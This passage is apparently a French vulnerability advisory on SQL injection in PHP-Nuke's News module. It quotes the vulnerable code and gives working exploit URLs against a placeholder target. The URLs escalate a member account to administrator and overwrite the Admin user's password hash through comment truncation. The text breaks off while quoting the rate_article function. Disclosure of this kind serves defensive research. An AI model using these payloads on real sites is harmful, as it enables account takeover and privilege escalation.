PHP-Nuke ******** Informations : °°°°°°°°°°°°°° Langage : PHP Website : http://www.phpnuke.org Version : 5.6, 6.0, 6.5 RC1, 6.5 RC2, 6.5 RC3, 6.5 Module : News Problème : Injection SQL Developpement : °°°°°°°°°°°°°°° J'ai continué ma recherche sur PHP-Nuke, mais avec cette fois-ci l'occasion de voir si les failles trouvées étaient "compatibles" à la version 6.5 RC2 et RC3 (merci à webotheque de www.demarc.be pour les sources :)). J'ai donc appliqué les recherches que j'avais faites sur le module 'News', initiallement testées sur la version 6.0, sur cette dernière version et avec succès. Il y a donc moyen, via le module News : - De changer les informations de n'importe quel utilisateur (dont son mot de passe) - Transformer un compte utilisateur en administrateur ou moderateur et vis et versa - De changer le titre, le contenu,... de n'importe quelle news - De lire n'importe quel fichier du disque dur via les news - ... La première faille, permettant de changer toutes les informations de n'importe qui dans la table nuke_users ( la table utilisateur) et donc de rendre admin, est exactement du même style que la faille qui avait les mêmes consèquences dans le module Your_Account. Comme elle, l'utilisation de cette faille n'est possible que si magic_quotes_gpc=OFF, c'est à dire quand les caractères ' , " et \ ne sont pas 'addslashés'. Le problème se trouve dans le fichier /modules/News/article.php, auquel on accède grâce à une url du type http://[website]/modules.php?name=News&file=article. Voici le code qui nous interesse : ----------------------------------------------------------------------------------------------------------------------------- if (stristr($REQUEST_URI,"mainfile")) { Header("Location: modules.php?name=$module_name&file=article&sid=$sid"); } elseif (!isset($sid) && !isset($tid)) { Header("Location: index.php"); } if ($save AND is_user($user)) { cookiedecode($user); $db->sql_query("UPDATE ".$user_prefix."_users SET umode='$mode', uorder='$order', thold='$thold' where uid='$cookie[0]'"); getusrinfo($user); $info = base64_encode("$userinfo[user_id]:$userinfo[username]:$userinfo[user_password]:$userinfo[storynum]:$userinfo[umode]:$userinfo[uorder]:$userinfo[thold]:$userinfo[noscore]"); setcookie("user","$info",time()+$cookieusrtime); } ----------------------------------------------------------------------------------------------------------------------------- On voit que le code est scindé en deux parties, par des "if". La première requête redirige si certaines conditions ne sont pas replies. Elles nous oblige à donner une valeur à $tid ou $sid. Sans quoi on ne pourra accèder à la deuxième partie du code, où se trouve la possibilité d'injection SQL. L'url sera donc obligatoirement du type : http://[website]/modules.php?name=News&file=article&sid=1 La ligne où se trouve l'injection SQL est la suivante : -------------------------------------------------------------------------------------------------------------------------- $db->sql_query("UPDATE ".$user_prefix."_users SET umode='$mode', uorder='$order', thold='$thold' where uid='$cookie[0]'"); -------------------------------------------------------------------------------------------------------------------------- Mais avant d'arrive à cette ligne, il y a encore les conditions du deuxième "if" à remplir : ------------------------------- if ($save AND is_user($user)) { ------------------------------- La variable $save doit donc être définie, et is_user() vérifie si on est loggé ou pas; il faut donc être membre du site pour arriver à cette partie du code. Toutes les conditions sont maintenant remplies. Il faut, en tant que membre, accèder à une url du type : http://[website]/modules.php?name=News&file=article&sid=1&save=1 pour faire execute la requête. Venons-en à l'injection elle-même :) La requête SQL executée est donc la suivante : ------------------------------------------------------------------------------------------------------- UPDATE ".$user_prefix."_users SET umode='$mode', uorder='$order', thold='$thold' where uid='$cookie[0]' ------------------------------------------------------------------------------------------------------- $user_prefix est définie, et vaut par défaut 'nuke'. $cookie[0] est un élément du cookie envoyé par l'authentification est décodé par la fonction cookiedecode() : l'id utilisateur. $mode, $order et $thold, c'est à nous des les définir. Si on leur donne tous la valeur "111", et que notre id est '1526', ça donnera une requête du style : ----------------------------------------------------------------------------- UPDATE nuke_users SET umode='111', uorder='111', thold='111' where uid='1526' ----------------------------------------------------------------------------- Ceci est donc pour quel genre de requête le script a été prévu. Dans cette même table nuke_users se trouve le nom, le mot de passe, le niveau du membre,... Imaginons maintenant comme comme valuer à $mode (ou $order ou $thold), je donne plutôt : ',user_level='4 J'aurais alors comme requête executée ce qui suit : ------------------------------------------------------------------------------------------ UPDATE nuke_users SET umode='', user_level='4', uorder='111', thold='111' where uid='1526' ------------------------------------------------------------------------------------------ Si dans la table SQL user_level vaut '4', ça veut dire que l'utilisateur est admin. L'url : http://[target]/modules.php?name=News&file=article&sid=1&save=1&mode=',user_level='4 ou http://[target]/modules.php?name=News&file=article&sid=1&save=1&order=',user_level='4 ou http://[target]/modules.php?name=News&file=article&sid=1&save=1&thold=',user_level='4 On pourrait donc aussi changer grâce à ce moyen son nom, son email, son mot de passe,... Pour modifier ce dernier, il faudrait l'insérer crypté en md5, car il doit l'être dans le base de donnée pour être correctement pris en compte par PHP-Nuke. Ca donnerait par exemple une url du type : http://[target]/modules.php?name=News&file=article&sid=1&save=1&order=',pass='d41d8cd98f00b204e9800998ecf8427e Ce qui donnerai la requête : ------------------------------------------------------------------------------------------------------------------ UPDATE nuke_users SET umode='111', uorder='',pass='d41d8cd98f00b204e9800998ecf8427e', thold='111' where uid='1526' ------------------------------------------------------------------------------------------------------------------ Mais ce qui interesse un hacker n'est sûrement pas de changer son propre mot de passe, mais bien celui des autres. Et c'est tout à fait possible grâce aux caractères de commentaires. Si par exemple on veut changer le mot de passe de l'utilisateur dont le nom d'utilisateur est 'Admin', ou dont l'id est 1, il suffira d'entrer une url du type : http://[target]/modules.php?name=News&file=article&sid=1&save=1&order=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Admin'/* ou http://[target]/modules.php?name=News&file=article&sid=1&save=1&order=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uid='1'/* Ce qui donnera respectivement les requêtes : ----------------------------------------------------------------------------------------------------------------------------------------- UPDATE nuke_users SET umode='111', uorder='',pass='d41d8cd98f00b204e9800998ecf8427e' where uname='admin'/*', thold='111' where uid='1526' ----------------------------------------------------------------------------------------------------------------------------------------- et ----------------------------------------------------------------------------------------------------------------------------------- UPDATE nuke_users SET umode='111', uorder='',pass='d41d8cd98f00b204e9800998ecf8427e' where uid='1'/*', thold='111' where uid='1526' ----------------------------------------------------------------------------------------------------------------------------------- Les parties se trouvant après les caractères /* ne seront alors pas prises en compte et les requêtes changerons le mot de passe de l'utilisateur 'Admin' ou de l'utilisateur dont l'id est 1. Un autre problème assez important de SQL dans PHP-Nuke se trouve dans le fichier index.php, dans la fonction rate_article, dont voici le code : ---------------------------------------------------------------------------------------------------------------------------- [...] function rate_article($sid, $score) { global $prefix, $dbi, $ratecookie, $sitename, $r_options; if ($score) { if ($score > 5) { $score = 5; } if ($score < 1) { $score = 1; } if (isset($ratecookie)) { $rcookie = base64_decode($ratecookie); $r_cookie = explode(":", $rcookie); } for ($i=0; $i < sizeof($r_cookie); $i++) { if ($r_cookie[$i] == $sid) { $a = 1; } } if ($a == 1) { Header("Location: modules.php?name=News&op=rate_complete&sid=$sid&rated=1"); } else { $result = sql_query("update ".$prefix."_stories set score=score+$score, ratings=ratings+1 where sid='$sid'", $dbi); $info = base64_encode("$rcookie$sid:"); setcookie("ratecookie","$info",time()+3600); Header("Location: modules.php?name=News&op=rate_complete&sid=$sid$r_options"); } } else { include("header.php"); title("$sitename: "._ARTICLERATING.""); OpenTable(); echo "